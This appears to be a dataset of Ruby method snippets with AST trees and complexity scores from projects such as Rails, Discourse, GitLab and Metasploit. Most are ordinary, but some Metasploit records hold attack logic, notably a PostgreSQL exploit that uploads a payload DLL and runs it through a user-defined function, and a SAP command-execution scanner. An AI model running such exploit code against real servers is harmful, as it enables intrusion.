{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/report.rb","start_line":148,"raw_source":"def feature_breakdown\n        base_query\n          .joins(\"LEFT JOIN llm_models ON llm_models.name = language_model\")\n          .group(:feature_name)\n          .order(\"usage_count DESC\")\n          .select(\n            \"case when coalesce(feature_name, '') = '' then '#{UNKNOWN_FEATURE}' else feature_name end as feature_name\",\n            \"COUNT(*) as usage_count\",\n            \"SUM(COALESCE(request_tokens + response_tokens, 0)) as total_tokens\",\n            \"SUM(COALESCE(cached_tokens,0)) as total_cached_tokens\",\n            \"SUM(COALESCE(request_tokens,0)) as total_request_tokens\",\n            \"SUM(COALESCE(response_tokens,0)) as total_response_tokens\",\n            \"SUM(COALESCE(request_tokens, 0) * COALESCE(llm_models.input_cost, 0))  / 1000000.0 as input_spending\",\n            \"SUM(COALESCE(response_tokens, 0) * COALESCE(llm_models.output_cost, 0)) / 1000000.0 as output_spending\",\n            \"SUM(COALESCE(cached_tokens, 0) * COALESCE(llm_models.cached_input_cost, 0)) / 1000000.0 as cached_input_spending\",\n          )\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"feature_breakdown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_query\"]},\"joins\",{\"type\":\"str\",\"children\":[\"LEFT JOIN llm_models ON llm_models.name = language_model\"]}]},\"group\",{\"type\":\"sym\",\"children\":[\"feature_name\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"usage_count DESC\"]}]},\"select\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"case when coalesce(feature_name, '') = '' then '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UNKNOWN_FEATURE\"]}]},{\"type\":\"str\",\"children\":[\"' else feature_name end as feature_name\"]}]},{\"type\":\"str\",\"children\":[\"COUNT(*) as usage_count\"]},{\"type\":\"str\",\"children\":[\"SUM(COALESCE(request_tokens + response_tokens, 0)) as total_tokens\"]},{\"type\":\"str\",\"children\":[\"SUM(COALESCE(cached_tokens,0)) as total_cached_tokens\"]},{\"type\":\"str\",\"children\":[\"SUM(COALESCE(request_tokens,0)) as total_request_tokens\"]},{\"type\":\"str\",\"children\":[\"SUM(COALESCE(response_tokens,0)) as total_response_tokens\"]},{\"type\":\"str\",\"children\":[\"SUM(COALESCE(request_tokens, 0) * COALESCE(llm_models.input_cost, 0))  / 1000000.0 as input_spending\"]},{\"type\":\"str\",\"children\":[\"SUM(COALESCE(response_tokens, 0) * COALESCE(llm_models.output_cost, 0)) / 1000000.0 as output_spending\"]},{\"type\":\"str\",\"children\":[\"SUM(COALESCE(cached_tokens, 0) * COALESCE(llm_models.cached_input_cost, 0)) / 1000000.0 as cached_input_spending\"]}]}]}","id":"47f590d5-ac44-4a4c-be2f-e0e8f4a470e2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/web_services/servlet/module_search_servlet.rb","start_line":16,"raw_source":"def self.search_modules\n    lambda {\n      warden.authenticate!\n      begin\n        sanitized_params = sanitize_params(params)\n        data = Msf::WebServices.search_modules(sanitized_params)\n        set_json_data_response(response: data)\n      rescue => e\n        print_error_and_create_response(error: e, message: 'There was an error completing the module search:', code: 500)\n      end\n    }\n  end","complexity_score":17.38,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"search_modules\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warden\"]},\"authenticate!\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sanitized_params\",{\"type\":\"send\",\"children\":[null,\"sanitize_params\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"WebServices\"]},\"search_modules\",{\"type\":\"lvar\",\"children\":[\"sanitized_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_json_data_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error_and_create_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"There was an error completing the module search:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"int\",\"children\":[500]}]}]}]}]},null]}]}]}]}]}","id":"a2b60dad-11bc-489f-8360-9ee9ef2bba56"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-policy/db/migrate/20191014224419_migrate_custom_field_to_policy_users.rb","start_line":4,"raw_source":"def up\n    execute(<<~SQL)\n    INSERT INTO policy_users(post_policy_id, user_id, version, accepted_at, created_at, updated_at)\n    SELECT post_policies.id, post_custom_fields.value::INTEGER, post_policies.version, post_custom_fields.created_at, post_custom_fields.created_at, post_custom_fields.updated_at\n    FROM post_custom_fields\n    INNER JOIN post_policies ON post_policies.post_id = post_custom_fields.post_id\n    WHERE post_custom_fields.name = 'PolicyAcceptedBy'\n    SQL\n\n    execute(<<~SQL)\n    DELETE FROM post_custom_fields WHERE name = 'PolicyAcceptedBy'\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO policy_users(post_policy_id, user_id, version, accepted_at, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT post_policies.id, post_custom_fields.value::INTEGER, post_policies.version, post_custom_fields.created_at, post_custom_fields.created_at, post_custom_fields.updated_at\\n\"]},{\"type\":\"str\",\"children\":[\"FROM post_custom_fields\\n\"]},{\"type\":\"str\",\"children\":[\"INNER JOIN post_policies ON post_policies.post_id = post_custom_fields.post_id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE post_custom_fields.name = 'PolicyAcceptedBy'\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DELETE FROM post_custom_fields WHERE name = 'PolicyAcceptedBy'\\n\"]}]}]}]}","id":"6af43f6a-b646-484c-922b-727e29a57d45"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/attribute_methods/read_test.rb","start_line":33,"raw_source":"def self.columns\n            attribute_names.map { FakeColumn.new(name) }\n          end","complexity_score":5.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attribute_names\"]},\"map\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FakeColumn\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}","id":"60125c2f-6ff8-48e0-bbb1-6a421e97a71e"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20210601002145_rename_trust_level_translations.rb","start_line":6,"raw_source":"def up\n    KEYS.each { |key| execute <<~SQL }\n        UPDATE translation_overrides\n        SET translation_key = 'js.trust_levels.names.#{key}'\n        WHERE translation_key = 'trust_levels.#{key}.title'\n      SQL\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"KEYS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE translation_overrides\\n\"]},{\"type\":\"str\",\"children\":[\"SET translation_key = 'js.trust_levels.names.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE translation_key = 'trust_levels.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\".title'\\n\"]}]}]}]}]}","id":"fa84a4f9-ef07-4818-a9cb-d1e02a7b93b3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ldap/auth.rb","start_line":35,"raw_source":"def process_login_request(user_login)\n          auth_info = {}\n\n          if user_login.name.empty? && user_login.authentication.empty? # Anonymous\n            auth_info = handle_anonymous_request(user_login, auth_info)\n          elsif !user_login.name.empty? # Simple\n            auth_info = handle_simple_request(user_login, auth_info)\n          elsif sasl?(user_login)\n            auth_info = handle_sasl_request(user_login, auth_info)\n          else\n            auth_info = handle_unknown_request(user_login, auth_info)\n          end\n\n          auth_info\n        end","complexity_score":25.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_login_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_login\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth_info\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_login\"]},\"name\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_login\"]},\"authentication\"]},\"empty?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"auth_info\",{\"type\":\"send\",\"children\":[null,\"handle_anonymous_request\",{\"type\":\"lvar\",\"children\":[\"user_login\"]},{\"type\":\"lvar\",\"children\":[\"auth_info\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_login\"]},\"name\"]},\"empty?\"]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"auth_info\",{\"type\":\"send\",\"children\":[null,\"handle_simple_request\",{\"type\":\"lvar\",\"children\":[\"user_login\"]},{\"type\":\"lvar\",\"children\":[\"auth_info\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sasl?\",{\"type\":\"lvar\",\"children\":[\"user_login\"]}]},{\"type\":\"lvasgn\",\"children\":[\"auth_info\",{\"type\":\"send\",\"children\":[null,\"handle_sasl_request\",{\"type\":\"lvar\",\"children\":[\"user_login\"]},{\"type\":\"lvar\",\"children\":[\"auth_info\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"auth_info\",{\"type\":\"send\",\"children\":[null,\"handle_unknown_request\",{\"type\":\"lvar\",\"children\":[\"user_login\"]},{\"type\":\"lvar\",\"children\":[\"auth_info\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"auth_info\"]}]}]}","id":"21354740-2b81-4bc8-9643-3f2f92f5d2b5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb","start_line":54,"raw_source":"def run_host(ip)\n    payload = create_payload(1)\n    exec_command(ip, payload)\n    payload = create_payload(2)\n    exec_command(ip, payload)\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"create_payload\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"exec_command\",{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"create_payload\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"exec_command\",{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"c00c6715-74a1-4a7b-a939-51b07812e612"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meeting_sections/header_component.rb","start_line":79,"raw_source":"def last?\n      @last ||=\n        if @first_and_last.last\n          @first_and_last.last == @meeting_section\n        else\n          @meeting_section.last?\n        end\n    end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"last?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@last\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_and_last\"]},\"last\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_and_last\"]},\"last\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@meeting_section\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting_section\"]},\"last?\"]}]}]}]}","id":"edb06d67-8a06-437f-88cc-12b68345ba5c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/clear_domain_media_service.rb","start_line":13,"raw_source":"def clear_media!\n    clear_account_images!\n    clear_account_attachments!\n    clear_emojos!\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_media!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clear_account_images!\"]},{\"type\":\"send\",\"children\":[null,\"clear_account_attachments!\"]},{\"type\":\"send\",\"children\":[null,\"clear_emojos!\"]}]}]}","id":"49edf8ff-1f5c-44b8-8ac3-15e28aa6bd7e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/preferred_language_switcher.rb","start_line":16,"raw_source":"def preferred_language\n    cookies[:preferred_language].presence_in(Gitlab::I18n.available_locales) ||\n      selectable_language(language_from_params) ||\n      selectable_language(browser_languages) ||\n      Gitlab::CurrentSettings.default_preferred_language\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"preferred_language\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"preferred_language\"]}]},\"presence_in\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"I18n\"]},\"available_locales\"]}]},{\"type\":\"send\",\"children\":[null,\"selectable_language\",{\"type\":\"send\",\"children\":[null,\"language_from_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"selectable_language\",{\"type\":\"send\",\"children\":[null,\"browser_languages\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"default_preferred_language\"]}]}]}","id":"9c7216cd-23bf-4d7b-961d-ac549ed1863b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/basic_user_serializer.rb","start_line":38,"raw_source":"def category_user_notification_levels\n    @category_user_notification_levels ||= CategoryUser.notification_levels_for(user)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"category_user_notification_levels\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@category_user_notification_levels\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryUser\"]},\"notification_levels_for\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}","id":"7a8ce430-25a5-48d2-8a00-64b8155d95a8"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/line_continuation_leading_space.rb","start_line":85,"raw_source":"def investigate(first_line, second_line, end_of_first_line)\n          if enforced_style_leading?\n            investigate_leading_style(first_line, second_line, end_of_first_line)\n          else\n            investigate_trailing_style(first_line, second_line, end_of_first_line)\n          end\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"investigate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"first_line\"]},{\"type\":\"arg\",\"children\":[\"second_line\"]},{\"type\":\"arg\",\"children\":[\"end_of_first_line\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enforced_style_leading?\"]},{\"type\":\"send\",\"children\":[null,\"investigate_leading_style\",{\"type\":\"lvar\",\"children\":[\"first_line\"]},{\"type\":\"lvar\",\"children\":[\"second_line\"]},{\"type\":\"lvar\",\"children\":[\"end_of_first_line\"]}]},{\"type\":\"send\",\"children\":[null,\"investigate_trailing_style\",{\"type\":\"lvar\",\"children\":[\"first_line\"]},{\"type\":\"lvar\",\"children\":[\"second_line\"]},{\"type\":\"lvar\",\"children\":[\"end_of_first_line\"]}]}]}]}","id":"18a57c60-7fed-4609-8642-a22b796d7cb6"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/dirty_test.rb","start_line":21,"raw_source":"def name=(val)\n      name_will_change!\n      @name = val\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"name=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name_will_change!\"]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}","id":"c2e54d03-8ad3-4506-8eea-d645b1cb41a5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/note_presenter.rb","start_line":38,"raw_source":"def obfuscate_participants_emails_in_system_note(text)\n    return text unless object.try(:system?)\n    return text if object.system_note_metadata&.action != 'issue_email_participants'\n    return text if can?(current_user, :read_external_emails, object.project)\n\n    Gitlab::Utils::Email.obfuscate_emails_in_text(text)\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"obfuscate_participants_emails_in_system_note\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"try\",{\"type\":\"sym\",\"children\":[\"system?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"system_note_metadata\"]},\"action\"]},\"!=\",{\"type\":\"str\",\"children\":[\"issue_email_participants\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_external_emails\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"project\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"Email\"]},\"obfuscate_emails_in_text\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}","id":"4d844e58-a7db-4efa-9eca-c9a65d6e1af0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/processor.rb","start_line":71,"raw_source":"def run\n      # By setting this thread-local, Sidekiq.redis will access +Sidekiq::Capsule#redis_pool+\n      # instead of the global pool in +Sidekiq::Config#redis_pool+.\n      Thread.current[:sidekiq_capsule] = @capsule\n\n      process_one until @done\n      @callback.call(self)\n    rescue Sidekiq::Shutdown\n      @callback.call(self)\n    rescue Exception => ex\n      @callback.call(self, ex)\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sidekiq_capsule\"]},{\"type\":\"ivar\",\"children\":[\"@capsule\"]}]},{\"type\":\"until\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@done\"]},{\"type\":\"send\",\"children\":[null,\"process_one\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@callback\"]},\"call\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Shutdown\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@callback\"]},\"call\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@callback\"]},\"call\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]},null]}]}","id":"dd33ddbd-da0d-49f2-94c8-fdc2db8b237d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/relay/target_list.rb","start_line":107,"raw_source":"def on_relay_end(identity:, is_success:)\n      relay_data = relay_data_for(identity)\n      if is_success\n        relay_data[:relay_status] = :success\n        relay_data[:relayed_at] = Time.now\n      else\n        relay_data[:relay_status] = :failed\n      end\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_relay_end\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"identity\"]},{\"type\":\"kwarg\",\"children\":[\"is_success\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relay_data\",{\"type\":\"send\",\"children\":[null,\"relay_data_for\",{\"type\":\"lvar\",\"children\":[\"identity\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_success\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relay_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"relay_status\"]},{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relay_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"relayed_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relay_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"relay_status\"]},{\"type\":\"sym\",\"children\":[\"failed\"]}]}]}]}]}","id":"e5db71bb-c56f-4d74-aaff-daec2f310deb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/cipher/aes256_gcm.rb","start_line":87,"raw_source":"def generate_iv(cipher, clear_text)\n            if @deterministic\n              generate_deterministic_iv(clear_text)\n            else\n              cipher.random_iv\n            end\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_iv\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cipher\"]},{\"type\":\"arg\",\"children\":[\"clear_text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@deterministic\"]},{\"type\":\"send\",\"children\":[null,\"generate_deterministic_iv\",{\"type\":\"lvar\",\"children\":[\"clear_text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"random_iv\"]}]}]}","id":"0138c31f-8160-4f3f-945a-2ae14d009f52"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/default_hourly_rate.rb","start_line":78,"raw_source":"def rate_updated\n    # FIXME: This might be extremely slow. Consider using an implementation like in HourlyRateObserver\n    unless valid_from_changed?\n      # We have not moved a rate, maybe just changed the rate value\n\n      return unless rate_changed?\n\n      # Only the rate value was changed so just update the currently assigned entries\n      return rate_created\n    end\n\n    update_costs\n    rate_created\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rate_updated\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_from_changed?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rate_changed?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rate_created\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_costs\"]},{\"type\":\"send\",\"children\":[null,\"rate_created\"]}]}]}","id":"1b2661d1-3c09-48b1-88a2-aa2b7d4781ea"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/gemspec/attribute_assignment.rb","start_line":84,"raw_source":"def source_indexed_assignments(ast)\n          indexed_assignment_method_declarations(ast)\n            .group_by { |node| node.children.first.method_name }\n        end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"source_indexed_assignments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ast\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"indexed_assignment_method_declarations\",{\"type\":\"lvar\",\"children\":[\"ast\"]}]},\"group_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"first\"]},\"method_name\"]}]}]}","id":"4868d825-6e6e-4490-a4da-4c5c1911879e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/postgres/postgres_payload.rb","start_line":87,"raw_source":"def exploit\n    self.postgres_conn = session.client if session\n    version = do_login(username, password, database)\n    case version\n    when :noauth; print_error \"Authentication failed\"; return\n    when :noconn; print_error \"Connection failed\"; return\n    else\n      print_status(\"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}\")\n    end\n\n    fname = \"#{Rex::Text.rand_text_alpha(8)}.dll\"\n    register_files_for_cleanup(fname)\n\n    unless postgres_upload_binary_data(generate_payload_dll, fname)\n      print_error \"Could not upload the UDF DLL\"\n      return\n    end\n\n    print_status \"Uploaded as #{fname}\"\n    begin\n      func_name = Rex::Text.rand_text_alpha(10)\n      postgres_query(\n        \"create or replace function pg_temp.#{func_name}()\" +\n        \" returns void as '#{fname}','#{func_name}'\" +\n        \" language c strict immutable\"\n      )\n    rescue RuntimeError => e\n      print_error \"Failed to create UDF function: #{e.class}: #{e}\"\n    end\n    postgres_logout if @postgres_conn && session.blank?\n  